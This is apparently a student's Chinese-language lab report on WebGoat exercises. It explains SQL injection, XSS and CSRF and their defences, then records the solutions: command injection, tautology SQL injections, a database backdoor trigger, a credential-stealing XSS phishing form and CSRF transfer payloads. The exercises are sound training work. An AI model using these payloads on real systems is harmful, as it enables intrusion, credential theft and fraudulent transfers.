20154332 仁青 Exp9_Web安全基础
一、基础问题回答
SQL注入攻击原理,如何防御?
-
原理:
-
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
-
防御:
-
普通用户与系统管理员用户的权限要有严格的区分。
-
强迫使用参数化语句
-
不要把机密信息直接存放,使用SQL Server数据库自带的安全参数
-
不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
-
jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。
XSS攻击的原理,如何防御?
原理:
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
-
在表单提交或者url参数传递前,对需要的参数进行过滤。
-
过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出。
CSRF攻击原理,如何防御?
原理:
- CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
-
验证 HTTP Referer 字段
-
在请求地址中添加 token 并验证
-
在 HTTP 头中自定义属性并验证
二、实践过程记录
1、安装webgoat
-
打开的时候发现没有安装
-
下载webgoat,放置home中。
-
再次用上一次的指令打开webgoat。
-
最小化终端,打开浏览器,输入localhost:8080/WebGoat,并选择默认账号、密码登录。
2、SQL练习
(1)命令注入(Command Injection)
-
目标:出现系统网络连接情况
-
打开Command Injection
-
在BackDoors.help旁边加上"& netstat -an & ipconfig"
-
可以看到命令被执行,出现系统网络连接情况:
(2)数字型SQL注入(Numeric SQL Injection)
-
概念:
-
目标:允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。
-
1.找到Numeric SQL Injection
-
在Numeric SQL Injection页面上右键,点击inspect Element
-
在inspector下添加代码or 1=1构成永真式
-
点击GO,发现成功了
(3) 日志欺骗(Log Spoofing)
-
目标:像用户名“admin”成功登录。
-
找到Log Spoofing
-
在User Name文本框中输入rq%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
-
成功!
(4)XPATH Injection
-
目标:下面的表格允许员工查看他们所有的个人数据,包括他们的薪水。
-
尝试构造永真式!
-
成功
(5)String SQL Injection
-
目标:下面的表单允许用户查看他们的信用卡号码。尝试注入导致所有信用卡号显示的SQL字符串。试试“史米斯”的用户名。
-
字符注入,构造一个永真式,还是用的之前的'or 1='1
-
成功!
(6)LAB: SQL Injection
-
Stage 1:String SQL Injection
-
小目标:用员工Larry身份登录。
-
以用户Neville登录,在密码栏中输入rq' or '1'='1 --永真式进行SQL注入,将密码长度改为40。
-
登录
Stage 3:Numeric SQL Injection
-
终极目标:用员工Larry的身份查看老板的信息。
-
先看Larry的信息
-
把其中的value值改为101 or 1=1 order by salary desc --,
-
点击ViewProfile进去,即可查看老板的详细信息
(7)Database Backdoors
- 打开
- 输入注入语句:101; update employee set
salary=10000,成功把该用户的工资涨到了10000。
- 接下来使用语句
101;CREATE TRIGGER rqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154332@qq.com' WHERE userid = NEW.userid
-
创建一个后门,把表中所有的邮箱和用户ID都设为我的。
XSS攻击
(8) Phishing with XSS 跨站脚本钓鱼攻击
- 目标是:将HTML插入到请求凭据中
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
-
将这段代码输入到输入框中,点击search出现如下登录框:
-
在登录框中输入用户名、密码:
-
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!
(9)Stored XSS Attacks 存储型XSS攻击
-
存储型XSS的攻击基本流程:
-
目标:可能是重定向网站到一个钓鱼网站
-
重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器
-
在Message框中输入
-
成功!
(10)Reflected XSS Attacks 反射型XSS攻击
-
打开xss的第三个攻击,在code框中输入
-
点击Purchase出现对话框,显示I am 20154332renqing。攻击成功!
!
CSRF攻击
(11)CSRF攻击
- Cross Site Request Forgery(CSRF)
- 查看页面右边Parameters中的src和menu值
- 在title框中输入学号,message框中输入代码:img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'
- 提交后生成一个链接20154332,点击学号名即可查看用户操作的信息,攻击成功!
(12)CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
< iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> < /iframe >
< iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> < /iframe >
- 提交后生成一个链接20154332,点击学号名即可查看用户操作的信息,攻击成功
三、实验总结与体会
这次实验是课程的最后一次实验,在实验过程中学到的知识和能力真的受益匪浅。
这次的实验题目中会结合一些实际的例子,进行攻击。这次做的实验数量比较多,但做完感觉原理都是一样的。学习到了很多攻击类型,更加深入的了解很多。
每破解一题后就会有一个绿色的小对勾,像闯过一个关卡一样,有些小激动。
posted on 2018-05-25 09:04 4332renqing 阅读(150) 评论(0) 编辑 收藏 举报